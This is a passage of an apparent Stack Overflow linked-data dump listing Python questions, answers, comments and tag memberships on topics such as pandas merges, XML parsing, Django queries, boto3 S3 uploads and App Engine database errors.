function called! self._expr = False and self._status = True So, the concern is the addition function is not getting called with each iteration calling of SomeFunction (by the some_method method.) The required functionality is this that SomeFunction (when called by some_method) should call the function addition.
type: Question

matplotlib
tags question: http://stackoverflow.com/q/49588250
tags question: http://stackoverflow.com/q/49546015
tags question: http://stackoverflow.com/q/49525493
tags question: http://stackoverflow.com/q/49519470
tags question: http://stackoverflow.com/q/49572934
tags question: http://stackoverflow.com/q/49591616
tags question: http://stackoverflow.com/q/49491822
tags question: http://stackoverflow.com/q/49494061
tags question: http://stackoverflow.com/q/49510457
tags question: http://stackoverflow.com/q/49451405
tags question: http://stackoverflow.com/q/49536925
tags question: http://stackoverflow.com/q/49574246
tags question: http://stackoverflow.com/q/49440531
tags question: http://stackoverflow.com/q/49570341
tags question: http://stackoverflow.com/q/49460596
tags question: http://stackoverflow.com/q/49561740
tags question: http://stackoverflow.com/q/49460880
tags question: http://stackoverflow.com/q/49497992
tags question: http://stackoverflow.com/q/49442527
tags question: http://stackoverflow.com/q/49504932
tags question: http://stackoverflow.com/q/49475128
tags question: http://stackoverflow.com/q/49463529
tags question: http://stackoverflow.com/q/49447571
tags question: http://stackoverflow.com/q/49554591
tags question: http://stackoverflow.com/q/49517286
tags question: http://stackoverflow.com/q/49460616
tags question: http://stackoverflow.com/q/49568625
tags question: http://stackoverflow.com/q/49564844
tags question: http://stackoverflow.com/q/49564153
tags question: http://stackoverflow.com/q/49500637
tags question: http://stackoverflow.com/q/49501347
tags question: http://stackoverflow.com/q/49487952
tags question: http://stackoverflow.com/q/49532728
tags question: http://stackoverflow.com/q/49489584
tags question: http://stackoverflow.com/q/49462886
tags question: http://stackoverflow.com/q/49495508
tags question: http://stackoverflow.com/q/49564810
tags question: http://stackoverflow.com/q/49491942
tags question: http://stackoverflow.com/q/49552603
tags question: http://stackoverflow.com/q/49520680
tags question: http://stackoverflow.com/q/49489944
tags question: http://stackoverflow.com/q/49495399
tags question: http://stackoverflow.com/q/49471655
tags question: http://stackoverflow.com/q/49463596
tags question: http://stackoverflow.com/q/49551812
tags question: http://stackoverflow.com/q/49572582
tags question: http://stackoverflow.com/q/49530746
tags question: http://stackoverflow.com/q/49530208
tags question: http://stackoverflow.com/q/49474279
tags question: http://stackoverflow.com/q/49598272
tags question: http://stackoverflow.com/q/49546449
tags question: http://stackoverflow.com/q/49461673
tags question: http://stackoverflow.com/q/49498106
tags question: http://stackoverflow.com/q/49519648
tags question: http://stackoverflow.com/q/49466062
tags question: http://stackoverflow.com/q/49524981
tags question: http://stackoverflow.com/q/49482533
tags question: http://stackoverflow.com/q/49593997
tags question: http://stackoverflow.com/q/49595740
tags question: http://stackoverflow.com/q/49522875
tag name: matplotlib
tags question: http://stackoverflow.com/q/49519901
tags question: http://stackoverflow.com/q/49471972
tags question: http://stackoverflow.com/q/49540478
tags question: http://stackoverflow.com/q/49503869
tags question: http://stackoverflow.com/q/49442244
tags question: http://stackoverflow.com/q/49490514
tags question: http://stackoverflow.com/q/49550767
tags question: http://stackoverflow.com/q/49471674
tags question: http://stackoverflow.com/q/49593054
tags question: http://stackoverflow.com/q/49540932
tags question: http://stackoverflow.com/q/49497444
tags question: http://stackoverflow.com/q/49460739
tags question: http://stackoverflow.com/q/49535702
tags question: http://stackoverflow.com/q/49567227
tags question: http://stackoverflow.com/q/49443573
tags question: http://stackoverflow.com/q/49495130
tags question: http://stackoverflow.com/q/49440696
tags question: http://stackoverflow.com/q/49478341
tags question: http://stackoverflow.com/q/49522451

http://stackoverflow.com/a/65886685
type: Answer
answers question: http://stackoverflow.com/q/49568038
score: 0
has body: Python in jupyter is not the same, i think that the automatic garbage collection will work at some point in the code, every step is paused and cached, this makes it very memory intensive to deal with buffers. The simples solution es to add a destructor to the elements and remove de need for a gc within the requires steps. This example uses empty buffers as a load, if you have enough ram to open all instances at the same time it will be enough to just use del img_buffs if not handle them in chunks. n_images = 1024 img_buffs = {} for i in range(n_images): img_buffs[i] = (0,) * 150000 for i in range(n_images): del img_buffs[i]

http://stackoverflow.com/comment/86113256
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49553028
score: 2
has text: Can you please provide a few lines of input sample data?

http://stackoverflow.com/comment/85983279
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49489944
has text: @JulioCamPlaz as I wrote in the main post. Yes

http://stackoverflow.com/comment/117906885
type: Comment
comment on: http://stackoverflow.com/a/49482921
type: AnswerComment
score: 0
has text: Old sintax: dt.weekday_name() New sintax:.dt.day_name() from https://stackoverflow.com/questions/60214194/error-in-reading-stock-data-datetimeproperties-object-has-no-attribute-week

http://stackoverflow.com/comment/86220770
has text: set date as required and in prompt ask for a year if a year is not entered.
score: 0
comment on: http://stackoverflow.com/q/49589508
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86009958
score: 0
type: Comment
type: QuestionComment
has text: As an aside, you should try to stick to Python naming conventions, where camelCase is not used. Also, pick better variable names. I'm pretty sure this is a bug: `finalStrList.append(str)`
comment on: http://stackoverflow.com/q/49502908

http://stackoverflow.com/comment/85962688
comment on: http://stackoverflow.com/a/49479847
score: 0
type: Comment
has text: @abarnert: I was actually editing in a mention of the weird special case. I don't see any documentation for the huge int handling, though.
type: AnswerComment

http://stackoverflow.com/q/49528251
has answer: http://stackoverflow.com/a/49528560
downvote count: 0
tagged with: pandas
has body: Say I have two datasets like this: In [2]: df_names = pd.DataFrame([ ...: ['alpha', {'key': 'a'}], ...: ['beta', {'key': 'b'}], ...: ['gamma', {'key': 'g'}], ...: ], columns=['name', 'data']) ...: df_names Out[2]: name data 0 alpha {'key': 'a'} 1 beta {'key': 'b'} 2 gamma {'key': 'g'} In [3]: df_symbols = pd.DataFrame([ ...: ['α', {'english_letter': 'a'}], ...: ['β', {'english_letter': 'b'}], ...: ['γ', {'english_letter': 'g'}], ...: ], columns=['symbol', 'meta']) ...: df_symbols Out[3]: symbol meta 0 α {'english_letter': 'a'} 1 β {'english_letter': 'b'} 2 γ {'english_letter': 'g'} Now I'd like to join these two on ['data']['key'] on the left side and ['meta']['english_letter'] on the right side. Not sure what to add more. How would you do that in an elegant way? My current approach: In [4]: df_names['join_key'] = df_names.apply(lambda x: x['data']['key'], axis=1) ...: df_symbols['join_key'] = df_symbols.apply(lambda x: x['meta']['english_letter'], axis=1) ...: result = pd.merge(df_names, df_symbols, on='join_key') ...: result'name', 'symbol' Out[4]: name symbol 0 alpha α 1 beta β 2 gamma γ What I don't like about that is the need of modification of both source datasets.
has title: How to merge DataFrames using a key inside of a column of a dict type?
has comment: http://stackoverflow.com/comment/86062273
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49528458
upvote count: 3
score: 3
accepted answer: http://stackoverflow.com/a/49528458
possible better answer: http://stackoverflow.com/a/49528560
has comment: http://stackoverflow.com/comment/86062640
tagged with: python
type: AnsweredQuestion
answer count: 2

http://stackoverflow.com/q/49591881
answer count: 3
has answer: http://stackoverflow.com/a/71954199
downvote count: 0
has body: I have a result list that contains something like [(datetime.datetime(2013, 1, 1, 0, 1, 14),), (datetime.datetime(2013, 1, 1, 1, 33, 50),)] How does one print it like 2013-01-01 00:01:14.000 , 2013-01-01 01:33:50.000 or a readable format. I have tried printing them in string import datetime ... for date in results: print (str(date)) This prints (datetime.datetime(2013, 1, 1, 0, 1, 14),) (datetime.datetime(2013, 1, 1, 1, 33, 50),)
has answer: http://stackoverflow.com/a/49591901
accepted answer: http://stackoverflow.com/a/49591901
linked to: http://stackoverflow.com/q/311627
favorite count: 0
score: 2
type: AnsweredQuestion
tagged with: list
tagged with: datetime
has title: List is printing datetime.datetime
tagged with: python
has answer: http://stackoverflow.com/a/49591916
possible better answer: http://stackoverflow.com/a/49591916
type: Question
upvote count: 2
tagged with: python-3.x

http://stackoverflow.com/q/49458592
tagged with: http://stackoverflow.com/tag/xml
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49458915
has body: Given the XML below how do I "obtain" each OptnOnSpotAndFutrsInf "object" (they are towards the bottom of the XML sample) so I can then extract the text from 'TckrSymb' and 'CFICd'? I am trying to use: import xml.etree.ElementTree as ET tree = ET.parse('file.xml') root = tree.getroot() for e in root.iter('OptnOnSpotAndFutrsInf'): print(e.text) but it's returning nothing. <?xml version="1.0" encoding="utf-8"?> BVMF 40 39 PUBLIC 40 39 BV000327201803190327120433334899343 38302 BVBG.028.02 2018-03-19T18:18:20 bvmf.100.02 38302 BV000327201803190327106886457976417 bvmf.100.02 2018-03-19T21:18:06Z BVMF 39 40 PUBLIC 39 40 true DAIL XXXX 2018-03-19 COMP 200000162828 8 BVMF HGLG HGLG 17 1 FII CSHG LOGCI 25 BRHGLGCTF004 190 CICIRU CI CSHG LOGÍSTICA FDO INV IMOB - FII HGLG11L 1 1 1 9999-12-31 9999-12-31 9999-12-31 0 0 BRL 671978 0.0000000000 0.0000000000 3 0 ACAO 50 BV000327201803190327106886775257713 bvmf.100.02 2018-03-19T21:18:06Z BVMF 39 40 PUBLIC 39 40 true DAIL XXXX 2018-03-19 COMP 100000099441 8 BVMF BGI Boi Gordo 4 4 BOI GORDO R$ 17 BGIZ18P013100E BRBMEFVBZEG5 0 100000099440 8 BVMF 196 193 284 BV000327201803190327106886268001848 bvmf.100.02 2018-03-19T21:18:06Z BVMF 39 40 PUBLIC 39 40 true DAIL XXXX 2018-03-19 COMP 200000162829 8 BVMF SMLS SMLS 12 1 SMLS ON 86,00 17 SMLSC86E BRSMLS3C00L6 BRL 2018-02-22 2018-03-19 1 200000161407 8 BVMF BV000327201803190327106886362185834 bvmf.100.02 2018-03-19T21:18:06Z BVMF 39 40 PUBLIC 39 40 true DAIL XXXX 2018-03-19 COMP 100000099440 8 BVMF BGI Boi Gordo 4 4 BOI GORDO R$ BRBMEFVBZEG5 BGIZ18P013100 131 AMER 2018-12-28 ZLM1 PUTT 330.000000000 1.000000000 0 1 OPATPS 100000097542 8 BVMF true 2018-02-05 2018-12-28 2018-12-27 BRL 196 193 284
downvote count: 0
has title: Find all subnodes within an XML tree via Python ElementTree
score: 1
upvote count: 1
answer count: 1
tagged with: elementtree

http://stackoverflow.com/q/49478454
type: Question
has comment: http://stackoverflow.com/comment/85959686
score: 1
has body: I started a loop to generates dataframe from json in a folder. for filename in os.listdir('json1'): with open(os.path.join('json1',filename),'r') as json_data: d=json.load(json_data) df2=pd.io.json.json_normalize(d) df2.columns = df2.columns.map(lambda x: x.split(".")[-1]) df3=pd.io.json.json_normalize(d['Reviews']) df3.columns = df3.columns.map(lambda x: x.split(".")[-1]) df4=pd.concat([df2]*df3.shape[0],ignore_index=True) df5=df4.join(df3) print(df5) The result that I print contains the dataframe that generated for each json file in the folder. However, I am wondering how can I combine all of these dataframe into a single big dataframe. They all have similar columns head but may slightly different.
tagged with: dataframe
tagged with: python
accepted answer: http://stackoverflow.com/a/49478559
type: AnsweredQuestion
downvote count: 0
has title: how to combine dataframes generated by loop
upvote count: 1
answer count: 1
tagged with: loops
has answer: http://stackoverflow.com/a/49478559
favorite count: 0

http://stackoverflow.com/comment/86115353
has text: can you show an example input and output list?
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/49553904
type: Comment

http://stackoverflow.com/comment/86197374
score: 0
has text: @JhonAZ1 what is your problem?
type: QuestionComment
comment on: http://stackoverflow.com/q/49595038
type: Comment

http://stackoverflow.com/q/49506553
has comment: http://stackoverflow.com/comment/86017283
tagged with: python
has body: a = 0.1 b = 0.2 print(a+b) print(a+b,a+b) I expected 0.3 or 0.30000000004 to be output equally: 0.3 0.3,0.3 But the output is different.: 0.3 (0.30000000000000004, 0.30000000000000004) I'm wondering why the output of one is different from the output of two. My Python version is 2.7 and pyscripter is 3.3.
duplicate of: http://stackoverflow.com/q/1436703
has title: Why does the float type print out differently?
score: 0
answer count: 0
tagged with: pyscripter
has comment: http://stackoverflow.com/comment/86017875
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/86017277
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86017461
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/1436703

http://stackoverflow.com/a/49599785
accepted answer of: http://stackoverflow.com/q/49599623
has comment: http://stackoverflow.com/comment/86207307
type: Answer
has comment: http://stackoverflow.com/comment/86207560
has comment: http://stackoverflow.com/comment/86207495
has comment: http://stackoverflow.com/comment/86207449
answers question: http://stackoverflow.com/q/49599623
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has body: you can create an iterator out of the list (no need with a file handle BTW). Then let for iterate, but allow to use next manually within the loop: a = """ Some lines I do not want ----- -------- -- I need this line I need this line also Again few lines i do not want """ my_iter = iter(a.splitlines()) for line in my_iter: if line.startswith("----"): print(next(my_iter)) print(next(my_iter)) This code will raise StopIteration if there aren't enough lines after the dashes. One alternative that avoids this issue is (courtesy Jon Clements) from itertools import islice my_iter = iter(a.splitlines(True)) # preserves \n (like file handle would do) for line in my_iter: if line.startswith("----"): print(''.join(islice(my_iter, 2))) Another way, without splitting the string: print(re.search("-----.*\n(.*\n.*)",a).group(1)) this searches for 2 lines after the pattern in the unsplitted, multi-line string. Can crash if re.search returns None because there are no more lines. In both cases you get: I need this line I need this line also

http://stackoverflow.com/comment/85922922
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49459985
type: QuestionComment
has text: thanks @cᴏʟᴅsᴘᴇᴇᴅ your second comment saved the day

http://stackoverflow.com/q/49508563
tagged with: python
score: 4
upvote count: 4
has body: First of all thanks for the help, I'm trying to fix this problem for days I know that is possible to route outbound traffic from a DigitalOcean droplet through its floating IP (a publicly-accessible static IP address that you can assign to a Droplet). So, my droplet have 2 ip (regular and a floating ip) As suggested in this link https://www.digitalocean.com/community/questions/send-outbound-traffic-over-floating-ip, I found my droplet's "anchor IP" with ip addr show eth0 I would like to make requests with python, using my IP as a proxy. I can do this? For example, something as: import requests proxies = { 'http': 'http://XX.XX.XX.XX:YY', 'https': 'http://XX.XX.XX.XX:YY', } # Create the session and set the proxies. s = requests.Session() s.proxies = proxies # Make the HTTP request through the session. r = s.get('https://www....') XX.XX.XX.XX is my anchor ip YY -> What port I have to use? I have to add some rules to my Firewall (UFW) ? Thanks in advance
has title: How to send Digitalocean outbound traffic over floating ip from a python script?
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/49619379
tagged with: python-requests
favorite count: 0
type: Question
tagged with: proxy
tagged with: droplet
has comment: http://stackoverflow.com/comment/86023269
type: UnansweredQuestion
tagged with: firewall

http://stackoverflow.com/q/49552507
tagged with: python
tagged with: boto3
answer count: 4
type: AnsweredQuestion
upvote count: 8
has title: Boto3 not uploading zip file to S3 python
tagged with: amazon-s3
has body: I'm trying to upload a .zip file to S3 using boto3 for python but the .zip file in my directory is not uploaded correctly. The code downloads all emails of a given user, zips them in the same directory and uploads them to an S3 bucket. The problem is that the file that gets uploaded is not the one I intend to upload. Instead a file with 18kb only appears. Here's the code: import sys import imaplib import getpass import email import shutil import boto3 import os username = input("Enter user's first name: ") surname = input("Enter user's surname: ") email_address = username + "." + surname + "@gmail.com" password = getpass.getpass() directory = username + surname + '/' def download_emails(server): result, data = server.uid('search', None, "ALL") #search all email and return their uids if result == 'OK': for num in data[0].split(): result, data = server.uid('fetch', num, '(RFC822)') #RFC is a standard for the format of ARPA Internet text messages if result == 'OK': email_message = email.message_from_bytes(data[0][1]) #raw email text including headers file_name = email_message['Subject'] #use dates and file names(can be changed) if not os.path.exists(directory): os.makedirs(directory) #create a dir for user's emails try: email_file = open(directory + file_name+'.eml', 'wb') #open a file for each email and insert the data. email_file.write(data[0][1]) email_file.close() except: pass #function to zip all the emails def archive(zipname, directory): return shutil.make_archive(zipname, 'zip', root_dir=directory, base_dir=None) #function to upload zipped emails to AWS bucket def upload_to_s3(file_name): s3 = boto3.resource('s3', aws_access_key_id=accessKey, aws_secret_access_key=secretKey, aws_session_token=secretToken, ) s3.Bucket('user-backups').put_object(Key=username.title() + " " + surname.title() + "/" + file_name, Body=file_name) print("Uploaded") def main(): server = imaplib.IMAP4_SSL("imap.gmail.com", 993) #connect to gmail's imap server server.login(email_address, p…
has answer: http://stackoverflow.com/a/49554602
accepted answer: http://stackoverflow.com/a/49552765
favorite count: 0
score: 8
possible better answer: http://stackoverflow.com/a/52326117
has answer: http://stackoverflow.com/a/49552765
type: Question
linked to: http://stackoverflow.com/q/19371860
has answer: http://stackoverflow.com/a/52326117
has answer: http://stackoverflow.com/a/65567135
downvote count: 0

http://stackoverflow.com/comment/86202299
type: QuestionComment
score: 0
type: Comment
has text: @DanielRoseman this is a on a Staging server
comment on: http://stackoverflow.com/q/49597014

http://stackoverflow.com/q/49561978
score: -2
has answer: http://stackoverflow.com/a/49562030
has body: I'm trying to see if it's possible to execute a command from a variable Example of what I'm going for: variable = print ("something") print ("Done") And then be able to print that by writing the variable name after this. Example: variable but when I try the output is: something Done I know you could do this by just writing the thing you want to print in the variable, but I would like to use this for other commands.
accepted answer: http://stackoverflow.com/a/49562030
has comment: http://stackoverflow.com/comment/86132018
has answer: http://stackoverflow.com/a/49562764
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86132307
upvote count: 0
downvote count: 2
answer count: 2
has comment: http://stackoverflow.com/comment/86132814
possible better answer: http://stackoverflow.com/a/49562764
favorite count: 0
type: Question
tagged with: python-3.x
has title: How to execute/hold a command in a variable

for-loop
tags question: http://stackoverflow.com/q/49469703
tags question: http://stackoverflow.com/q/49515048
tags question: http://stackoverflow.com/q/49509603
tags question: http://stackoverflow.com/q/49444510
tags question: http://stackoverflow.com/q/49533181
tags question: http://stackoverflow.com/q/49542973
tags question: http://stackoverflow.com/q/49555248
tags question: http://stackoverflow.com/q/49449907
tags question: http://stackoverflow.com/q/49474038
tags question: http://stackoverflow.com/q/49534125
tags question: http://stackoverflow.com/q/49476076
tags question: http://stackoverflow.com/q/49525218
tags question: http://stackoverflow.com/q/49584742
tags question: http://stackoverflow.com/q/49541605
tags question: http://stackoverflow.com/q/49488089
tags question: http://stackoverflow.com/q/49482824
type: Tag
tags question: http://stackoverflow.com/q/49583947
tags question: http://stackoverflow.com/q/49467514
tags question: http://stackoverflow.com/q/49546789
tags question: http://stackoverflow.com/q/49578944
tags question: http://stackoverflow.com/q/49530696
tags question: http://stackoverflow.com/q/49478310
tags question: http://stackoverflow.com/q/49461591
tags question: http://stackoverflow.com/q/49523293
tag name: for-loop
tags question: http://stackoverflow.com/q/49509895
tags question: http://stackoverflow.com/q/49453053
tags question: http://stackoverflow.com/q/49440379
tags question: http://stackoverflow.com/q/49543392
tags question: http://stackoverflow.com/q/49448127
tags question: http://stackoverflow.com/q/49460878
tags question: http://stackoverflow.com/q/49567604
tags question: http://stackoverflow.com/q/49495703
tags question: http://stackoverflow.com/q/49472669
tags question: http://stackoverflow.com/q/49589506

http://stackoverflow.com/q/49475542
downvote count: 0
upvote count: 1
score: 1
possible better answer: http://stackoverflow.com/a/51912387
has title: Want to extract pinned messages from the groups/channels on Telegram i am part of using Telethon
favorite count: 0
type: Question
tagged with: telethon
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/50311219
tagged with: telegram
has body: I'm using Telethon API Want to extract pinned messages of all the channels i am member. Please guide me with the procedure. Thank you.
has answer: http://stackoverflow.com/a/51912387
tagged with: python
has answer: http://stackoverflow.com/a/73762215
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/50311219
answer count: 3

http://stackoverflow.com/comment/85987305
type: Comment
has text: I edited it. I was confused because it is this way in other languages.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49491846

http://stackoverflow.com/q/49465795
has body: I have some (very large) list of tuples that come from a database containing an id, start_time, and end_time I also have a list of times in a regular interval and ordered (these are all datetime objects). I basically need to loop through these times and find all the tuples in which the time falls within their range. I'm wondering what the most efficient way to do this is. The first idea that comes to mind is like this (pseudo-code): for time in times: for tuple in tuples: if tuple.start_time &lt;= time &lt;= tuple.end_time: # add tuple to some_other_list if tuple.end_time &lt; time # remove tuple from tuples The reason I'd do that is to iterate over a smaller and smaller list, hoping to cut some time there, however I am open to completely different approaches as well. I suppose another idea would be to just query the db with the given time each iteration but I'd imagine the latency there would far outweigh just having the full dataset in memory and working with it that way. So for example, I would have a list of tuples where each tuple would look like: [('783', datetime.datetime(2017, 12, 31, 20, 49, 28), datetime.datetime(2017, 12, 31, 23, 49, 28)), ('5274', datetime.datetime(2017, 12, 31, 20, 49, 45), datetime.datetime(2018, 1, 1, 0, 0)), ('757', datetime.datetime(2017, 12, 31, 20, 50, 25), datetime.datetime(2018, 1, 1, 1, 50, 25)), ('5600', datetime.datetime(2017, 12, 31, 20, 50, 59), datetime.datetime(2017, 12, 31, 23, 39)), ('5176', datetime.datetime(2017, 12, 31, 20, 51, 23), datetime.datetime(2018, 1, 1, 1, 51, 23)), ('5323', datetime.datetime(2017, 12, 31, 20, 52, 39), datetime.datetime(2018, 1, 1, 0, 0)), ('464', datetime.datetime(2017, 12, 31, 20, 52, 41), datetime.datetime(2018, 1, 1, 0, 52, 41))] And the list of times would be stored in a generator basically using this answer, so looping through them would produce something like this: 2017-12-15 00:00:00 2017-12-22 00:00:00 2017-12-29 00:00:00 2018-01-05 00:00:00 2018-01-12 00:00:00 2018-01-19 00:00:00 A…
tagged with: algorithm
has comment: http://stackoverflow.com/comment/85934792
has comment: http://stackoverflow.com/comment/85934475
linked to: http://stackoverflow.com/q/10688006
tagged with: database
tagged with: python
downvote count: 1
type: AnsweredQuestion
score: 0
tagged with: list
has comment: http://stackoverflow.com/comment/85934385
has comment: http://stackoverflow.com/comment/85942207
has title: Python: Remove elements from list while iterating over it, and most efficient way to find values within range
has comment: http://stackoverflow.com/comment/85934518
accepted answer: http://stackoverflow.com/a/49470012
answer count: 1
upvote count: 1
has answer: http://stackoverflow.com/a/49470012
favorite count: 0
type: Question

http://stackoverflow.com/q/49588932
tagged with: django
has title: Count number of events per day
favorite count: 0
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86190611
has answer: http://stackoverflow.com/a/49594394
has body: I am trying to use chartist, to visualise number of events per day, and so far I have tried the following: models.py class Event(models.Model): name = models.TextField(max_length=500) event_date = models.DateTimeField() charts.py def mychart(): events = Event.objects.annotate(start_day=Trunc('event_date', 'day', output_field=DateField())).values('event_day').annotate(myevent=Count('id')) return json.dumps({ 'labels':[p['start_day'] for p in events], 'series':[p['myevents'] for p in events]}) but I am still getting single objects, and not grouped by "day"! As shown below: 2018-04-02 1 2018-03-31 1 2018-04-02 1 2018-04-02 1 2018-03-31 1 2018-04-02 1 2018-04-02 1 And what is that I am expecting, is something like: 2018-04-02 5 note: I am using PostgreSQL Database
tagged with: python
type: Question
tagged with: python-3.x
upvote count: 2
has comment: http://stackoverflow.com/comment/86186906
has comment: http://stackoverflow.com/comment/86186029
accepted answer: http://stackoverflow.com/a/49594394
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/86190734

neural-network
tags question: http://stackoverflow.com/q/49557761
tags question: http://stackoverflow.com/q/49566565
tags question: http://stackoverflow.com/q/49597498
tags question: http://stackoverflow.com/q/49560927
tags question: http://stackoverflow.com/q/49546211
type: Tag
tags question: http://stackoverflow.com/q/49569568
tags question: http://stackoverflow.com/q/49545570
tags question: http://stackoverflow.com/q/49583466
tags question: http://stackoverflow.com/q/49496403
tags question: http://stackoverflow.com/q/49467127
tags question: http://stackoverflow.com/q/49583041
tags question: http://stackoverflow.com/q/49576814
tags question: http://stackoverflow.com/q/49540365
tags question: http://stackoverflow.com/q/49508155
tags question: http://stackoverflow.com/q/49592980
tags question: http://stackoverflow.com/q/49501181
tags question: http://stackoverflow.com/q/49449581
tags question: http://stackoverflow.com/q/49476845
tags question: http://stackoverflow.com/q/49446812
tags question: http://stackoverflow.com/q/49545186
tags question: http://stackoverflow.com/q/49448230
tags question: http://stackoverflow.com/q/49468459
tags question: http://stackoverflow.com/q/49475449
tags question: http://stackoverflow.com/q/49573784
tags question: http://stackoverflow.com/q/49586490
tags question: http://stackoverflow.com/q/49477097
tags question: http://stackoverflow.com/q/49512702
tags question: http://stackoverflow.com/q/49593985
tags question: http://stackoverflow.com/q/49483394
tags question: http://stackoverflow.com/q/49525056
tags question: http://stackoverflow.com/q/49475023
tags question: http://stackoverflow.com/q/49450765
tags question: http://stackoverflow.com/q/49565476
tags question: http://stackoverflow.com/q/49564403
tags question: http://stackoverflow.com/q/49480344
tag name: neural-network
tags question: http://stackoverflow.com/q/49598179
tags question: http://stackoverflow.com/q/49518746

http://stackoverflow.com/comment/86072141
comment on: http://stackoverflow.com/q/49522800
type: QuestionComment
has text: Can you show us what the incorrect output `data` looks like?
score: 0
type: Comment

http://stackoverflow.com/a/49591935
has comment: http://stackoverflow.com/comment/86191563
answers question: http://stackoverflow.com/q/49591876
has body: Seems like you're counting the same triplet more than once... In the first iteration of the loop, you omit the first 1 in the list, and then increase smaller by 1. Then you omit the second 1 in the list and increase smaller again by 1. And finally you omit the third element in the list, -2, and of course increase smaller by 1, because -- well -- in all these three cases you were in fact considering the same triplet {1,1,-2}. p.s. It seems like you care more about correctness than performance. In that case, consider maintaining a set of the solution triplets, to ensure you're not counting the same triplet twice.
type: Answer
has comment: http://stackoverflow.com/comment/86199419
has comment: http://stackoverflow.com/comment/86202789
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/85920502
type: Comment
score: 0
type: QuestionComment
has text: Is there a particular reason you need to be YAML 1.1 compatible and therefor use PyYAML?
comment on: http://stackoverflow.com/q/49453087

http://stackoverflow.com/q/49566544
has comment: http://stackoverflow.com/comment/86141400
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/86173284
type: Question
score: 2
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49566588
answer count: 1
downvote count: 0
has title: Python-Escaping \n wrong message
tagged with: escaping
tagged with: ascii-art
has body: I ´m trying to learn python. I want to print the following figure: |°°°°°°°°°°°°°°°|| | | | | So, in order to achieve that, I run the following code: def interface(): IMAGEN=['''|°°°°°°°°°°°°°°°|| | | | |''' ] print(IMAGEN) but the following image is shown in the console: ['|°°°°°°°°°°°°°°°||\n |\n |\n |\n |'] does someone know why this is printed in this way? I ´ve even entered \n before | but the result is the same. I want to print one | below another and without \n escaping character. thanks in advance

http://stackoverflow.com/q/49598780
answer count: 1
has comment: http://stackoverflow.com/comment/86204763
accepted answer: http://stackoverflow.com/a/49599328
has comment: http://stackoverflow.com/comment/86204817
has answer: http://stackoverflow.com/a/49599328
has title: Converting code to read files in windows to linux
type: Question
has comment: http://stackoverflow.com/comment/86205211
tagged with: linux
has comment: http://stackoverflow.com/comment/86205155
tagged with: python
has comment: http://stackoverflow.com/comment/86204893
has body: I'm currently getting an error from cv2 resize which is indicating that there is nothing in the file. It works fine on windows but I'm struggling to work out what needs to be done (apart from a change in the path name) for it to work on linux. path1 ='C:/Users/L/Software/Data/channels/ch3' listing = os.listdir(path1) ch3_matrix = array([array(cv2.resize(cv2.imread(path1 + '\\' + im2,0),(55,55))).flatten() for im2 in listing])
has comment: http://stackoverflow.com/comment/86205770
type: AnsweredQuestion
score: 0
tagged with: windows
tagged with: io

http://stackoverflow.com/comment/86210842
type: AnswerComment
comment on: http://stackoverflow.com/a/49596954
has text: Would you use the CountVectorizer? If so, how does THAT work?
score: 0
type: Comment

http://stackoverflow.com/comment/86080879
type: Comment
has text: @jezrael, [let's see whether somebody has an explanation for this](https://stackoverflow.com/questions/49537057/df-groupby-aggset-produces-different-result-compared-to-df-groupby-a) ;-)
score: 2
type: AnswerComment
comment on: http://stackoverflow.com/a/49536025

http://stackoverflow.com/q/49557606
tagged with: google-app-engine
tagged with: django
tagged with: python
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/86124639
downvote count: 0
has title: django api deployed to google app engine error: 2005, "Unknown MySQL server host https://mythic-plexus-194517.appspot.com/products/
answer count: 1
tagged with: web-hosting
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/51014571
tagged with: rest
has body: I'm trying to host a django-build api on google's app engine but i'm struggling to get it to work. This is the first time I'm deploying an app to production so apologies for the noob question. I've deployed the app and all works at the base domain https://mythic-plexus-194517.appspot.com, however, when I go to /products endpoint where the relevant information in my db is posted, I hit (2005, "Unknown MySQL server host 'mythic-plexus-194517:europe-west1:giftwiz-api' (38)"). I do not hit this error when I run python manage.py runserver. My app.yaml file: runtime: python27 api_version: 1 threadsafe: true handlers: - url: /static static_dir: static - url: /.* script: giftwiz_project.wsgi.application libraries: - name: django version: "latest" - name: MySQLdb version: "latest" env_variables: DJANGO_SETTINGS_MODULE: 'giftwiz_project.settings' database config in settings.py: if os.getenv('SERVER_SOFTWARE', '').startswith('Google App Engine'): # Running on production App Engine, so connect to Google Cloud SQL using # the unix socket at /cloudsql/&lt;your-cloudsql-connection string&gt; DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'HOST': 'mythic-plexus-194517:europe-west1:giftwiz-api', 'NAME': 'products', 'USER': 'xxxx', 'PASSWORD': 'xxxx', 'PORT': '3306' } } else: DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'HOST': '127.0.0.1', 'PORT': '3306', 'NAME': 'products', 'USER': 'root', 'PASSWORD': os.environ.get('mysql_pass') } } and urls.py: from django.conf.urls import url, include from django.contrib import admin from rest_framework import routers from app import views router = routers.DefaultRouter() router.register(r'products', views.ProductViewSet) urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^', include(router.urls)), url(r'^$', views.api_root), ] Any help would be much appreciated!
type: UnansweredQuestion

http://stackoverflow.com/a/50130725
downvote count: 0
